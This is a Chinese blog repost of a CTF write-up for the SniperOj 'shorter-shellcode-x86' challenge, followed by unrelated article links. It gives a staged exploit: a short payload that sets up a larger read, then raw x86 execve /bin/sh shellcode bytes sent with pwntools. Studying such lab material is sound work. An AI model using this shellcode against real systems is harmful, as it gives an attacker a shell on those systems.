博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SniperOj-shorter-shellcode-x86
阅读量:5216 次
发布时间:2019-06-14

本文共 926 字,大约阅读时间需要 3 分钟。

 这里可以有一些可以用的shellcode,不过自己写才是biner的骄傲 /奋斗

0x00 不会写shellcode(和一条咸鱼有什么区别/哭)

0x01 这题目前有俩种解法

1. shellcode直接获取shell,这种解法需要较强的shellcode编写能力,因为只能输入27字节,要求shellcode1足够短

2. 先自己构造个read然后扩大读取字节,再获取shell,这样shellcode长度就不是问题了

0x02 我选择的是第二种,完全是因为自己不会写shellcode。/气哭

1.先构造read

# read_asmshellcode = asm("mov al, 0x3")shellcode += asm("add cl, 0xc")shellcode += asm("mov dl, 0xff")shellcode += asm("int 0x80")#read_more padding = '\x90' * (13-len(shellcode))payload = shellcode + padding + p32(buf_Addr)Io.send(payload)

2.再获取shell

# system_asmshellcode1 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f"shellcode1 += "\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"#get_shellpayload1 = '\x90' * 16 + shellcode1Io.send(payload1)

3.我犯的一个错误

#get_shellpayload1 = '\x90' * 13 + p32(buf_Addr + 13 + 4) + shellcode1Io.send(payload1)

因为之前构造的read已经把EIP指向了栈,所以第二次不需要再覆盖函数返回地址,就可以直接指向shellcode。感谢re0x6d大佬耐心指导,

 

转载于:https://www.cnblogs.com/elvirangel/p/6917079.html

你可能感兴趣的文章
cookies相关概念
查看>>
CAN总线波形中ACK位电平为什么会偏高?
查看>>
MyBatis课程2
查看>>
桥接模式-Bridge(Java实现)
查看>>
svn客户端清空账号信息的两种方法
查看>>
springboot添加servlet的两种方法
查看>>
java的Array和List相互转换
查看>>
java的byte[]与String相互转换
查看>>
layui父页面执行子页面方法
查看>>
如何破解域管理员密码
查看>>
Windows Server 2008 R2忘记管理员密码后的解决方法
查看>>
IE11兼容IE8的设置
查看>>
windows server 2008 R2 怎么集成USB3.0驱动
查看>>
Foxmail:导入联系人
查看>>
JavaScript AJAX原生写法
查看>>
vue:axios二次封装,接口统一存放
查看>>
Js三大特性--封装、继承以及多态
查看>>
2019年8月2日07:51:10 马上要撤
查看>>
vue中router与route的区别
查看>>
js 时间对象方法
查看>>